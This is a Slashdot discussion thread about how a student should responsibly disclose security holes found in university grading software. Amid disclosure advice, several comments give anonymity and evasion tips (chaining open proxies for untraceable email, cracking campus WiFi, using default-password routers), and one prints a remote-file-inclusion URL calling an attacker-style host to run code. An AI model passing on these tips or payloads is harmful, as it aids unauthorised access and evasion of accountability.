    1. Re:Dude! Don't hold out on us like that! by ChoGGi · · Score: 1

      Ya dude ya like gotta at least ya know let us be lazy bastards im like i dont wanna learn i want good grades so my parents will love me

      (no im not trying to be an asshole it just happens something to do with all that crap yes of course hes going to post it the code to slashdot i believe you may have missed some part of the article head)

  21. Tell them... by Anonymous Coward · · Score: 0

    if the school gives you a hard time, just change your mark to compensate for the hardship...

  22. What's in it for me? by clovis · · Score: 3, Interesting

    Goto a prof with your suspicions (but you don't know yet, how could you?) and get assigned to find out for one of your papers. You've already done the work, so it should be an easy grade.

    1. Re:What's in it for me? by at_kernel_99 · · Score: 3, Insightful
      Goto a prof with your suspicions (but you don't know yet, how could you?) and get assigned to find out for one of your papers. You've already done the work, so it should be an easy grade.

      Yeah, what he said. Do you have a prof that you respect & have a good relationship with? Hey, maybe thats a dumb question, but I went to a small school. Anyway, you can potentially turn it into a proof of knowledge in subject matter & get credit. Also, having a faculty member on your side should mitigate the potential downsides of the administration saying "and tell us again why you were hacking into the system in the first place?"

    2. Re:What's in it for me? by Stuart+Gibson · · Score: 4, Funny
      get assigned to find out for one of your papers. You've already done the work, so it should be an easy grade
      And if it isn't, well, you know what to do.

      Goblin
      --
      It's all fun and games until a 200' robot dinosaur shows up and trashes Neo-Tokyo... Again
  23. another approach by Anonymous Coward · · Score: 0

    you could try just e-mail the software company telling them to look for some bugs without being specific. if they don't, their lose.

  24. Don't Tell Them by Anonymous Coward · · Score: 1, Interesting

    I would advise not bothering,
    since it is not worth your effort to help anyone
    who would be such a "class-act" as to give you trouble for your efforts instead of praise.

    If you wanted to, send them a very carefully worded letter, stating that you may have reason to belive there is an exploit, but you are not certain, and that you would have to know in detail how they would react to:
    1. You having found an exploit
    2. You having found a fix
    3. You submitting the fix

    And if they send a nice reply, get something in writing before helping them.

  25. Anonymously email the company by Magus311X · · Score: 1

    I'd anonymously email the company that develops the software. Get a free hotmail account or some such and send them a full disclosure of the exploit with proof of concept code all in the body of a plain-text no attachment email.

    Hopefully it gets someone's attention, it gets patched, and admins at schools apply the patch. Will you get credit for your findings? No. Will you stand a chance at getting the hole fixed without any real fear of retribution? Yes.

    -----

    1. Re:Anonymously email the company by Anonymous Coward · · Score: 1, Interesting

      Whoa, there, tiger! Anonymous from a hotmail account? HAven't you ever tracked anyone through the "X-originating-ip" header that gets into every outgoing hotmail message? You have to be a little more careful than that.

      If you post from behind a NAT firewall or HTTP proxy with tons of users, you're in better shape--the IP picked up by hotmail will be fairly anonymous. But that may or may not be enough, especially if it's at your own university--because the recipient might be able to persuade the firewall operator to check his logs for outbound hotmail access at the time of the initial SMTP transfer in the header. Even with thousands of users on one NAT'd IP address, the list of suspects will suddenly become single-digit. Then how safe are you? Did you tell them that you're a CS student at F.U.? That alone might nail you pretty good. Remember, this is a University, so there ain't no search warrants or subpoenas to worry about. And there isn't any presumption of innocence, either.

      Having recently been assigned to (and failed to) track down an anonymous emailer, your best bet is to post to hotmail from an AOL account, or (better yet) from an anonymizing service that is owned an operated in another country. Either way, finding out who you are would require subpoenas, which means they'd have to find grounds for a lawsuit, first--this is unlikely. With a foreign anonymizer, even if they do get a subpoena, they have to endure a 6+ month process of paperwork to persuade a foreign government to honor a US subpoena--also unlikely.

      But really, the worst part is that if you post anonymously, they'll probably ignore you. They don't give a fuck if one kid can hack their shitty grading software. They WOULD care if this vulnerability became public. You might want to consider a countdown to publicity: they have 30 days to figure out the vulns, patch the software, and get the word out to end users. At the end of 30 days, you'll post it to bugtraq and wherever else is appropriate.

    2. Re:Anonymously email the company by Anonymous Coward · · Score: 0

      Having recently been assigned to (and failed to) track down an anonymous emailer

      This isn't that hard. There are tons of open proxy lists (google for "open proxy list")

      If you want anonymity/untraceability, you find an open squid proxy in Asia somewhere.. preferably one that's been there awhile - if it's been around for more than a couple of months, chances are there are no admins to check the logs.. if you're paranoid, use several proxies in different countries, by bouncing the connection from one to another.

      You simply telnet to port 3128, and use the CONNECT command to connect to port 25 of your target machine (or, for the super-paranoid, to port 3128 of another proxy, from which you issue your next CONNECT) - you then just run the standard SMTP commands (HELO, MAIL FROM: RCPT TO: DATA) to send the email.

      It's not 100% guaranteed (you can't guarantee something you have no control over), but having the proxies in different countries makes it that much harder to trace, as the language barriers and red tape increases for each one - the longer it takes someone to track you, the more time there is for any logs to be rotated, which will eliminate the trail.

  26. Re:What's in it for you? by Ieshan · · Score: 1

    That's a good way to look at the world. Why'd you post this advice to the story? What's in it for you?

  27. I've been through this by BelugaParty · · Score: 1

    Just write a nice e-mail about how you happened to find the exploits. I did this with some security focused database software. I got an e-mail back with a lot of thanks (no money), and a few weeks later they released a fix. Of course, I'm not in your position, the place where I work is interested in buying the software, so making the product better helped me, right? Plus I got golden contacts. My feature requests get more weight. It's how you want to handle it. I doubt there will be litigation involved, especially if you present the case as a way of helping them... if you hold them for ransom, well, you can expect to hear from the law.

  28. I was almost kicked out of school by Anonymous Coward · · Score: 0

    I was almost kicked out of college when I discovered a flaw in the online grading system.

  29. Re:What's in it for you? by Anonymous Coward · · Score: 0

    whats in it for him? higher test scores of course!

  30. Unfortunately by interiot · · Score: 2, Insightful

    Unfortunately the law is set up so that you're nearly as likely to get in trouble for reporting a problem as you are using it for personal gain, so from a cost-benefit perspective, one might argue that it's better to keep the secret for your own uses.

    1. Re:Unfortunately by Alizarin+Erythrosin · · Score: 1

      Personal gain? Let's just hope he's bombing the class...

      --
      There are only 10 kinds of people in this world... those who understand binary and those who don't
  31. anonymously by chunkwhite86 · · Score: 1

    on newsgroups, slashdot, the inquirer, and of course a mass mailing to all the students on your college campus.

    don't forget to do that last one anonymously. ;-)

    --
    I'd rather be a conservative nutjob than a liberal with no nuts and no job.
  32. Anonymous to Bugtraq by Anonymous Coward · · Score: 0

    The best way to anonymozie yourself would be to go to a web cafe and rent some time (with cash!). Setup a new Hotmal/Yahoo acccount. Post to Bugtraq (or whatever mailing list) and the maker of the software. Then walk away from the computer and completely forget about the account.

    (P.S. Don't forget to wear gloves so they can't lift your prints from the computer keyboard. :)

  33. simple? by jpellino · · Score: 4, Interesting

    print it out 4x, put each in an envelope, no retutn address, send it to the provost, the IT head and the CEO and chief engineer of the company that makes this thing. demand nothing and tell them it's simply fyi. hard for four peop[le to keep a secret - you'll get action somewhere. keep a copy in case nothing happens. no harm, no foul. it's just doing the right thing for no gain.

    --
    "Win treats sysadmins better than users. Mac treats users better than sysadmins. Linux treats everyone like sysadmins."
    1. Re:simple? by Anonymous Coward · · Score: 0

      It's easy to keep it a secret if all four people stand to lose something from it becoming public.

      The school would have egg on it's face and the company would be shown to have an insecure product. Neither of which is good for their continued funding.

    2. Re:simple? by Anonymous Coward · · Score: 0

      IANAL, but send it to one... Seriously though, attourney-client privilege should cover you here. Here's another thought, contact a reporter for your campus newspaper - THEY WOULD LOVE TO PRINT IT! Under 1st ammendment protection they would not have to reveal who you are... on second thought, go to a real journalist - campus newspapers are crap.

    3. Re:simple? by artrr · · Score: 1

      jpellino has by far one of the best suggestions!
      The "no gain" untraceable option rings a resounding right approach!

    4. Re:simple? by Spoing · · Score: 1
      It's easy to keep it a secret if all four people stand to lose something from it becoming public.

      The school would have egg on it's face and the company would be shown to have an insecure product. Neither of which is good for their continued funding.

      Agreed. Because of that, I'd add in a comment that you expect that these defects will be fixed within a specific, set, but entirely reasonalbe timeframe or you will consider disclosing it to Bug Track or other security sites so that schools can take corrective actions. You don't have to (though I would if there's no movement).

      Silently fixing it would be a hell of a lot more interesting compared to having everyone know that the software is unreliable.

      --
      A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.
    5. Re:simple? by robi2106 · · Score: 3, Funny

      While mailing the letters, do not ever handle the paper with your skin exposed so there is no chance of your fingerprints or dna being deposited on the enveoples.

      Don't use your handwriting. Use a widly available laser printer, and a toner cartrige bought in a different state than the University involved. Purchase the envelope, paper, and toner cartrige with cash only. Do not keep any receipts.

      Mail the letters from a public drop box where no ATMs, drive up windows, or gas stations are near by so you don't accidentally get on a security camera. Mail the letters on a high volume day, preferable 4 days before a major holiday (Christmas, Easter, Mothers/Fathers Day, Valentines Day, Thanksgiving Day).

      In case a camera may catch you walking buy (never drive to the mail box), buy large baggy clothes you don't normally wear (with cash of course) and a wig / facial hair for your trip to the mail box.

      Destroy the clothes either by burning them far out of town in a campfire (don't drive near the cam fire, bury the ashes), or by throwing them away in separate dumpsters on seperate days of the week, in seperate towns (preferably towns that do not send their trash to the same land fill.

      If you take these precautions then you should be ok.

      That or just don't mail the notifications.

      robi

    6. Re:simple? by sean.peters · · Score: 1

      Right. And be sure to wear your tinfoil hat to protect yourself against mind-control rays. Remember that vampires don't have reflections, so carry a mirror with you at all times so you can tell who's who. Watch out for black helicopters.

      Sean

  34. but of course... by meshko · · Score: 4, Funny

    you go to slashdot and brag about it.

    --
    I passed the Turing test.
    1. Re:but of course... by jc42 · · Score: 1

      Well, around these parts (Bush/Cheney America), you're expected to do the proper, conservative, market-driven thing: You offer to sell it to the highest bidder.

      Anything that doesn't earn you a good profit is a dead giveaway that you're one of those leftist, socialistic types. Probably a terrorist. In that case, you should report yourself to the Dept of Homeland Security.

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
    2. Re:but of course... by Anonymous Coward · · Score: 0

      $10 bucks says this article is a troll. I doubt anyone would actually ask for advice about submitting exploits.

      The 'school-hacker' thing is a dead giveaway.

  35. Suggestion #1 by sabNetwork · · Score: 4, Insightful

    You choose a different nickname from "school-hacker" :-)

    1. Re:Suggestion #1 by ameoba · · Score: 1

      I've gotta seriously wonder how somebody would even come across this in normal activity; unless it's a painfully obvious exploit, putting any effort into finding the exploit would be enough to get in trouble w/ the university for...

      --
      my sig's at the bottom of the page.
  36. Be Careful by Anonymous Coward · · Score: 0

    Since you've tested it...

    Be afraid. Whatever you do, do it anonymously, and do _not_ take advantage of it. Especially since if you do anything really noticable, they will trace it to you.

    If your university has an academic integrity board and some sort of code of conduct, you're probably afoul of it. Forget everything you know about due process. It doesn't work that way in Universities. You are not tenured, you are not a delicate flower that needs to be nurtured. You may be run out on a rail.

    Your best bet may be to anon-email it (not from campus) to a full disclosure list, and hope that the white hats find out before the blackhats.

  37. feel out company by technofeab · · Score: 1
    Building a reputation as a someone with enough skill to find security problems and then solve/exploit them can be profitable in the long run. It may even get you a trip to Vegas for Black Hat. I'd suggest the following.

    Give the company a call. Hear what they have to say about a hypothetical situation where a student wants to examine their program for security problems and then wants to report his/her findings back to the company.

    If they give you that reverse engineering, IP crap. Post it anonymously somewhere.

    If they're cool, then the next step is to approach your college with the same question. Repeat previous step. Just be careful not to get your weenie whacked!

  38. $.02 by Alien+Being · · Score: 3, Funny

    Tell them that you know how to do it and refuse to give them the details unless they can provide you with federal, state and local documents guaranteeing that you, your friends, and your family will not be prosecuted now or in the future for any illegal activity relating to this exploit, exploits of other academic software, or exploits of any software relating to anyone who ever atended college or anyone who knows someone who attended college. Be sure to specify that Arab Americans cannot be excluded from these guarantees.

    Also demand that the school indemnify you against any civil actions. While you're at it, you might as well require a statement that no military action will be taken.

    Finally, offer them your consulting services at $500/hr, minimum 10 hours.

    Disclaimer: IANAL, BIPOOSD (but I play one os /.)

    1. Re:$.02 by krumms · · Score: 1

      Finally, offer them your consulting services at $500/hr, minimum 10 hours.

      lol - yeah it would be nice wouldn't it?

      Just keep in mind that if you tell them you know how to do it and you don't tell them the details, they can just nail your ass anyway and force the details out of you. That will only make a bad guy out of you, and open the way for more problems. At least, that's MHO.

  39. You must do what is right... by mschoolbus · · Score: 1

    ...use it to your advantage, muhahahaha!

  40. But first... by FosterKanig · · Score: 1

    ...change your grade to give yourself an "A" in gym

    1. Re:But first... by mcpkaaos · · Score: 1

      I thought the idea here was keeping a low profile? God knows that anyone finding security holes in university software doesn't stand a snowball's chance in hell of scoring an A in gym. Think before you say these things, Mitch. Twenty points higher than me and he thinks a guy like that can ace gym?

      --
      It goes from God, to Jerry, to me.
    2. Re:But first... by MidnightLightning · · Score: 0

      Yeah, it really depends on how one executes his or her plan. If the person wants to be known, then this would be a bad idea. However, if one wants to attempt to remain somewhat anonymous, maybe earning an "A" in gym would controvert suspicion if suspicion happened to be placed upon him or her.

      --

      -------
      Those who can, do, and those who can't, well ... teach.
    3. Re:But first... by Anonymous Coward · · Score: 0

      is there anyone left around here with a sense of humor?

      hellooooooooooo....

      nothing.

    4. Re:But first... by NaDrew · · Score: 1
      Think before you say these things, Mitch. Twenty points higher than me and he thinks a guy like that can ace gym?
      +1 "Real Genius" reference!
      --
      Vista:XPSP2::ME:98SE
  41. Here's an advice... by Anonymous Coward · · Score: 0

    Was that the purpose of your assignement? Do you believe that by any means such creative work will be tollerated? I doubt it. Keep you mouth shut and get on with what you are supposed to do. Be sure that you haven't excercised your exploits on their system, or by any means had such thoughts.

    Of course, that's your arsehole, and that's you to decide for how long you planning to keep it tight.

    Dont try to be a Sklyrov wannabe. Pick up others and not losers like that fuck. By the way, what a fucker ah? Instead of contacting the right people directly he tried to become DefCon's celebrity.

  42. Good deeds don't go unpunished by Strych9 · · Score: 2, Insightful

    As much as I would love to say go tell someone and show that there is a fault. Just the fact that you know about it might implicate you and make any of your marks in suspect. University bureaucracies are known for making stupid decisions.

    If you can send something anonymously then I think you have done what you can.
    Don't jepordize your future over a good deed.

    Also: what do you have to gain, aside from some kudos? You have far more to loose if someone takes what you do the wrong way.

    Remember: Good deeds don't go unpunished.

    1. Re:Good deeds don't go unpunished by Anonymous Coward · · Score: 0

      Well said Strych9. You have little to gain and everything to lose. I know it is morally right to let the developers know about the flaw, but its not worth the risk...they won't see flaw but rather you as some sort of exploiter of that flaw. If you really want to report the problem, give it to someone who has far less to lose, and has no real connections to you. Good luck.

  43. The standard way. by Popsikle · · Score: 3, Informative

    Being a member of the secuirty scene (not a very skilled memeber but im tryin! ;) ) The standard way would be to email the vendor. If you want to do it anonomously pm me and I can set you up a POP3 account ;) Briefly state the issues, and the holes, how the exploit works, and inform them that if no repsonse is made you will foward the exploit and the security brief to the proper mailling lists. It is law in California now that any security breach must be made public so just remind them of that. Normally they will repsond asking for futher details, foward them your proof-of-concept and again warn them if corrective measures are not made you will announce it publicly. It should result in a patch, in which case make your findings public with information on how to patch or where to obtain the patch for the software. If all communications fails there is the [FULL-DISCLOSER] and the [INCIDENTS] mailing lists. Again if you are worried about your school and/or IP laws the best thing would be to spoof an email to the lists (if it comes down to that) or use a Email account that your name IS NOT attached to. Most companies will thank you for informing them before going public, and It is the right thing to do =) Also try digging thru your AUP and TOS for the network at school, in there it may state some legalities about breaking into to systems, hacking, sniffing, ect. If all else fails, forward your finding to a trusted source, and have them take the actions required. Remember you are not required by any law to make your findings public, so if you really feel uneasy just forget about the whole thing.

    1. Re:The standard way. by CableModemSniper · · Score: 1

      Ah yes, PM you. That neat feature that doesn't exist on slashdot. I know perhaps he can email you...or not. I guess I shouldn't be ragging on you, you did offer him an email account.

      --
      Why not fork?
  44. exploit Most likely doesn't exist by Anonymous Coward · · Score: 0

    While young and inexperienced (read University student) how many of us were sure we'd found major bugs and exploits?

    Anything more embarrassing than being put on the right path (shown to be a dumbass) because there was never anything there?

    I'd bet dollars to donuts that this "exploit" actually can't be compromised.

    1. Re:exploit Most likely doesn't exist by Popsikle · · Score: 1

      Comments like that make me think you work for Microsof

    2. Re:exploit Most likely doesn't exist by Anonymous Coward · · Score: 0
      I found all sorts of major bugs and exploits in university - mostly in the code of my fellow students.

      The really scary time came when I realized they weren't any worse than the rest of the industry - almost everyone writes crappy code.

  45. How about... by softspokenrevolution · · Score: 2, Insightful

    You could always pull a frame up an have it look like a group of students pulled of the exploit. Or find someone that you really don't like, who doesn't like you, drop down your grades and accuse them of tampering with them.

    In all seriousness we live in such a paranoid culture that there isn't really a right answer that anyone can give you. It's nice to see that someone out in America has a conscience but my paranoid mind is telling me that if a student came over and told me that there were exploits in the software, I would begin thinking that he might have done something about it. You might just try an anonymous note to the people in charge of the program.

  46. I'll report it. by bigattichouse · · Score: 1

    I'm not a student anymore, and I could give a crap.. My company could use the press. go to my web site (in my sig), my address is listed. (424 S. Division Chenoa, IL 61726) send me a CD via snail mail, I'll copy it, destroy the original and contact the company in question.

    --
    meh
    1. Re:I'll report it. by Mattwolf7 · · Score: 1
      LOL nice try I dont think he is going to fall for that one! Maybe next time bud.

  47. Consult your AUP by rainmanjag · · Score: 5, Interesting

    Most universities have well published an Acceptable Use Policy. Before making any disclosures, become intimately familiar with this document. As long as you've done nothing to compromise this document, you should be on safe ground.

    What would be their concern in punishing you? To dissuade every wanna-be cracker on campus from poking around the innards of the computer network. Though we all know security through obscurity does not work, your school does not want everybody trying to eliminate that obscurity.

    When you compose your statement of disclosure, include a statement which argues for your concern and your compliance with the AUP. Cite it, quote it, and argue for your concern for staying within the published regulations of the University. So long as you have not used this exploit to your advantage and so long as you show concern for the things they are concerned about, you should be fine.

    -jag

    --
    http://starboard.flowtheory.net/
    1. Re:Consult your AUP by Anonymous Coward · · Score: 1, Interesting


      Yeah right, who cares about getting in trouble with your school. It's the feds you have to worry about nowadays.

      Actually you've started what's called a toolbox for computer scientists like us. Keep it to yourself, don't brag, you never know when you need it. If you tell someone they will use it against you to get a leg up.

      I once showed my partner(my partner mind you) of one of my CS courses how to run X remotely(yadda yadda) ...you know trivial stuff. Well basically at the time I couldn't remember off the top of my head(sophomore...linux was new... Yggdrasil...Slackware... It was a wonderful time) and kept forgetting to get my notes at home. He kept asking and asking(over 15 times). Finally, I thought to myself "this guy is clueless, he won't figure it out for himself, it not that hard, I'll get the info just to get him to quite asking". I was on my Slackware box at home and sent him the information via email. Well, if you remember Slackware, it used to(maybe still does) used a default root finger name of "root of all evil".

      Well the little sucker turned me in with an email to a sysadmin on campus(mind you I've only told him how to "export DISPLAY=... and xhost +..." He had this to say, "I think the person who sent me this is trying to be malicious". At that point in time he was working for the computer department on campus as a peon.

      You also have to realize I've sent hime countless emails from this "root of all evil" account with classwork attached for weeks prior to this, signing every one with my initials(i.e. he knew it was me). I signed all my correspondence.

      Needless to say, my accounts were locked and I had to go see the admin. To him "root of all evil" was just that, evil. I couldn't explain to him it was the default from the install and that I didn't intend to harm anyone, and that I just forgot to change it. He continued to show off his great admin skills by claiming I was "spoofing" my IP by using the 10.x.x.x series of numbers which were not "public" numbers to be used by anyone but companies who had paid for them. No amount of explaining helped here either.

      Actually I didn't know it was my partner trying to get a leg up in the world until the admin showed me the email and asked me if this was the email I sent. Once I read it I knew what was going on but I just shut up at that point, agreed to be on probation for a semester and let it go.

      I promptly went to my instructor, told him what was going on a had him removed from my team. Then I went and found my "partner", motioned for him to "come here", then... told him he was off my team. No mention of what was going on. Honestly, that the closest I've been to demolishing someone EVER.

      Now I just laugh about it. The moral of the story is, there are too many people out there with power that don't understand technology. They will destroy you because they will never understand that technology which is so simple to us. They will destroy you because they know they are outdated and don't want the world to know it.

    2. Re:Consult your AUP by blibbleblobble · · Score: 1

      "Most universities have well published an Acceptable Use Policy. Before making any disclosures, become intimately familiar with this document."

      Nice plan.

      Witch-hunt script, line 1: "Get the logs of everyone who's taken an unusual interest in the JANET AUP recently."

      Probably best to take advice from here, and just keep the code for your own use. You'll get screwed if you report it, so if that's the system the schools want to implement, let them live by it.

      "Own use" of course, translated as "for the use of freenet readers"

  48. Addendum by Anonymous Coward · · Score: 0
    Get a free hotmail account or some such and send them a full disclosure of the exploit with proof of concept code all in the body of a plain-text no attachment email.
    Make sure you register for the free email account from a computer that is not yours (eg: library, or better yet an internet cafe). Don't trust Microsoft and your ISP to not reveal your identity.
    1. Re:Addendum by SomeGuyFromCA · · Score: 1

      Doesn't matter - sending the mail will give the originating IP.

      --
      if the answer isn't violence, neither is your silence / freedom of expression doesn't make it alright
    2. Re:Addendum by Sven+The+Space+Monke · · Score: 1
      sending the mail will give the originating IP

      Wow, Slashdotters seem to have the sortest memories I've ever encountered. I've seen so many posts with "there is no annonymous e-mail, they all have the IP" that it's scary.

      Is everyone forgetting WiFi? My university provides WiFi free to all students. It uses 128-bit encryption, but that's easy enough to crack. There's also (by a conservative count) 300 open hotspots within skating distance of the university (laptop in the backpack finds many wonderful things). If I wanted to send a truly anonymous e-mail, I'd set up a Hotmail account via one of these hotspots, and every time I wanted to check my/send mail, I'd use a different hotspot. For the real paranoid fanatic, drive to different parts of the city each time. It would be damn near impossible to nail me down. The best they could do is "we know what CITY s/he lives in..."

      --
      A man who can't pronouce "nuclear arsenal" shouldn't have one -sig ends here.
    3. Re:Addendum by Anonymous Coward · · Score: 0

      sending the mail will give the originating IP

      And that's what insecure wireless access points are for -- they're a dime a dozen in metropolitan areas.

    4. Re:Addendum by SomeGuyFromCA · · Score: 1

      > Is everyone forgetting WiFi? My university provides WiFi free to all students.

      Yes, Cal State Berkeley? Yes, yes, go Bears. I need to know what MAC address had been assigned an IP registered to your university's AirBear system... Oh, a hacker, sir, a very dangerous antisocial miscreant. Oh, yes you do have to; DMCA. Look, we can do this the easy way, or I can get a subpoena.

      You don't keep logs? I don't believe that, surely you're aware that you're liable for everything that comes out of your network. I'd rather believe you've destroyed such logs, which we can turn into destruction of evidence charges...

      Oh, you'll cooperate? Good boy.

      --
      if the answer isn't violence, neither is your silence / freedom of expression doesn't make it alright
    5. Re:Addendum by Sven+The+Space+Monke · · Score: 1
      And after the following conversation....

      Yes, Cal State Berkely? Yes, we did receive the info you've provided. We appreciate your co-operation. There is something else, however. According to your logs, the MAC address for the assigned IP address implicates the Dean. We're going to have to take him into custody. Oh, you'll get his lawyer on the line? Great.

      Yes, Mr Very Expensive Lawyer, this is the FBI. Oh, your position is that the MAC address was spoofed? Oh, dang. Well, I suppose we can let the Dean go... THIS time.

      That's also assuming that the guy uses his university WiFi. He could always find some nice, open Linksys AP's. In my town, I've found close to 150 open Linksys ones that seem to have all the defaults enabled (default SSID, default chan, so default security settings can be assumed - user:admin, pass:admin), so IF logging is turned on (isn't by default), it can be turned off easily. Hell, these things are everywhere. I've even found a hearing aid store with a wide open AP.

      Besides, how easy would it be to track someone if all you knew was the university they attend and their MAC address? You would need the co-operation of each and every student on campus. Good freakin' luck!

      --
      A man who can't pronouce "nuclear arsenal" shouldn't have one -sig ends here.
  49. Stay away from the top by vgaphil · · Score: 1

    Only tell the people that matter. Don't go to the director of the IT department and tell he/she that you can break into their system. They might not understand, they will just see you as a hacker, which could lead to trouble. Tell the net admin or someone that understands the problem and help them take the proper steps to fix it.

    "The Internet is a fad" -WB --> Actual quote from an IT director BTW

    --
    A clever person solves a problem. A wise person avoids it. -- Einstein
  50. Three things by Shoten · · Score: 5, Interesting

    One, don't notify the university directly. If you do, you create a political situation where they still have the ability to shut you up by putting pressure on you. Keep in mind, the university wouldn't make life hard for you because they're run by Darth Vader, they'd make life hard for you to keep you from disclosing.

    Two, do notify the vendor, BUT use the disclosure guidelines provided by Rain Forest Puppy (called RFPolicy). This is the best template for fair and equitable disclosure I've ever seen, and I feel it's even a hair better than the policy put forth by @Stake (although theirs is pretty good too). Set up a hushmail account that cannot be traced back to you for this purpose, and proceed from there.

    Three, do NOT disclose the proof-of-concept exploit code. Disclosing a vulnerability is enough, there is no reason to automate attacks that take advantage of it.

    By the time the university knows anything, they will no longer be able to accomplish anything by making your life hard. Furthermore, you will be in a position of strength, having taken the high road in disclosure and given all parties every opportunity to protect themselves properly.

    --

    For your security, this post has been encrypted with ROT-13, twice.
    1. Re:Three things by ibennetch · · Score: 1

      I completely agree with Shoten in the parent post -- there is nothing to be gained by informing your school; go straight to the developers of this application. The school may not even find out about you if you don't tell them; the administrators (other than the server admin) probably won't even know about the security fix once it comes out -- administrators don't care about general security fixes from a vendor, they care a lot about a student calling them up to report being able to change your grades.

      this post by Czyl also has some good advice and is worth a read.

      Oh, and if they don't fix it; raise a stink (by publication) -- don't just let it fade away.

    2. Re:Three things by Sabalon · · Score: 1

      I don't know - we had a student that went to my boss about a "security flaw" in banner. My boss sent it to me and one other person. I met with the student, even though there was no way possible for what he described to happen. Turns out the student was mistaken/misunderstanding something. If he had proved it, we would have contacted the vendor about it.

      If a student was to contact the vendor directly, they would probably tell him to piss off.

  51. Had this problem with SUN by burtonator · · Score: 4, Interesting

    I had this problem a while back with java.sun.com.

    They were running a comment system that did server side includes. The URL pattern was

    http://java.sun.com/foo.jsp?url=relative/path.in c

    The obvious hack would be to enter a file: URL and see if it worked and sure enough I could browse through the whole file system as long as I knew the path.

    Stupid Java engineers.

    Anyway... I contacted a few VPs at SUN and just told them that I had discovered a severe security hole in their webserver and that because of the DMCA I couldn't report it.

    They were quick to respond telling me that they WOULDN'T prosecute if i were to give them the security disclosure so they could fix the issue.

    Most people won't care as long as you are white hat. If they freak out then don't reveal the information

    Kevin

    1. Re:Had this problem with SUN by Anonymous Coward · · Score: 2, Informative

      They were running a comment system that did server side includes. The URL pattern was

      http://java.sun.com/foo.jsp?url=relative/path.inc


      I'm not sure if this was the case here, but this can be far more dangerous in some cases, since you can do off-server includes (in PHP at least).

      This means you couuld do something like:

      http://java.sun.com/foo.jsp?url=http://www.hax0r-s ite.com/mycode.inc

      And it would execute "mycode.inc" on their server, meaning you could run *arbitrary* code on their server. That's a big hole a lot of web developers don't catch.

    2. Re:Had this problem with SUN by Anonymous Coward · · Score: 0

      I see stupid programming like this all the time. I've picked up projects where the previous coder would define the file path of the template in the url, just like this case.

      Security is worth the time and effort. It only takes one person with bad intentions to ruin your day and cause you loads of trouble.

  52. SCO's code probably made it into the exploit.. by dtperik · · Score: 2, Funny

    so be careful. Maybe you better just send them 699.99 right now to cover yourself. Then you'll be free to do what you want with it, without the fear of litigation.

  53. Duck and cover. by Anonymous Coward · · Score: 0

    As an ethical geek, what do -you- do?



    Duck to avoid the cameras that are watching you in the university computer cluster. And, once you've released it, cover your ass. Releasing it to responsible parties is the "right" thing to do. Just don't expect to be appreciated.
  54. some advice whether you want it or not by linuxislandsucks · · Score: 4, Insightful

    Here is some advice..

    Remember you wil be dealign with two or three groups that have different motives for their existence; ie IT group of your college, college Management, and the software vendor...

    You do not have enough power or pull to report this on your own and should not do so as it woudl put your college studies in danger, head this warning!

    Waht you need to do is find a tenured CS faculty member that will be a guinea pig fro a blind computer experiment..blind in that he or she does not know ahead of time the directions you will be giving..

    The directions must be in the form of question of:

    Waht happens if I do this what will occur..in other worsd you are leading the faculty member on the trail of discovery..

    Once they get to the end its is then their responsibility fo reporting the security hack and thus your college studies are protected..

    --
    Don't Tread on OpenSource
    1. Re:some advice whether you want it or not by Anonymous Coward · · Score: 0

      Excellent plan. Good advice.

    2. Re:some advice whether you want it or not by Anonymous Coward · · Score: 0

      why not disclose the bugs to a public mailing list along with the sample code to demonstrate the exploits. if it's out in the open in public for everyone to see and verify the flaws, the vendor can hardly cover it up at that point and will have to fix the problems.

    3. Re:some advice whether you want it or not by deranged+unix+nut · · Score: 1

      Yeah, I did that when I found a design flaw in the web portal software that the university that I attended switched to a few years ago.

      I still don't know if they have fixed the flaw, but at least the IT group knows what fingerprints the exploit will leave in their logs.

      I graduated a year after I found the flaw, and I don't really care that much anymore. I guess I was just lazy...I emailed the company, the IT group, and the faculty on the IT board, but I didn't actually go talk to anyone about it.

      Today, if I was really concerned about it, I'd go knock on a few doors.

      PS - The really funny thing was, in reviewing the company's literature, one of their "features" was an option for "Null-Crypto".

  55. Talk to a lawyer! by Anonymous Coward · · Score: 0

    I would definitely talk to a lawyer before I did anything. You have to be very careful in this day and age.

  56. If you want progress, release it. by russotto · · Score: 3, Insightful

    If history is any guide: They aren't going to take you seriously unless you release a working exploit. If you tell 'em about it they'll just try to silence you with threats -- and then you can't choose anonymous release, because they'll go after you.

    If you release the exploit anonymously, you'll get things fixed. If you release it with your name attached, you'll get things fixed and bring a shitstorm down on your head -- your choice if you want the notoriety and its consequences.

  57. The solution is obvious. by xeeno · · Score: 1

    Release it to the public, anonymously.
    The problem will solve itself. :)

  58. Sumbit it to the author/maintainers and bugtraq by stienman · · Score: 1

    And packetstorm, of course.

    -Adam

  59. If past experiences have taught us nothing.. by Ryan+Amos · · Score: 2, Insightful

    You should forget about the whole thing. There is no good that can come of this. I understand wanting to be a good samaritan and all, but some people just don't take kindly to that. Considering the risks here (if the company gets pissed off at you, you end up with a computer crimes charge on your record and are basically blacklisted from the industry) I'd say you should delete any copies of any proof-of-concept code you have and forget about the whole thing. Either that or sell it to a fraternity or the football/basketball program at your school.. I'm sure they'd LOVE to get their hands on something like that.

    1. Re:If past experiences have taught us nothing.. by antimith · · Score: 1

      This is certainly a question of your motive, and how mutch your willing to lose. I would first recommend legal council on the subject, but I doubt you've got the money lying around or a willingness to jump through hoops for a messed up system. I would recommend exactly that, to preserve my academic and proffesional future. Yeah, it's a bit cynical, but how mutch does this system that puts such fear in otherwise ethical persons deserve? Unless you're out to make a statement and/or make a name for yourself real quick, I say pretend it never happened. No harm will come of it. Years from now you'll look back on this and think, 'Yeah, I came to a fork in the road of life, and took the safe way out'. If your sure you can life with that; if you value a secure future down the straight and narrow; if you'd like to see people get messed up all over the country when the exploit inevitably becomes public and just sit back and watch, immune and unassailable (you shredded the code) *demonic laugh*, then this should be you're path. The company hasn't already fixed it have they? Does the school keep up, or are they on one of those pay monthly for all updates things?

      --
      "Oh... There it goes... my brain stopped" - Ed from Ed, Edd, and Eddy.
    2. Re:If past experiences have taught us nothing.. by Ryan+Amos · · Score: 1

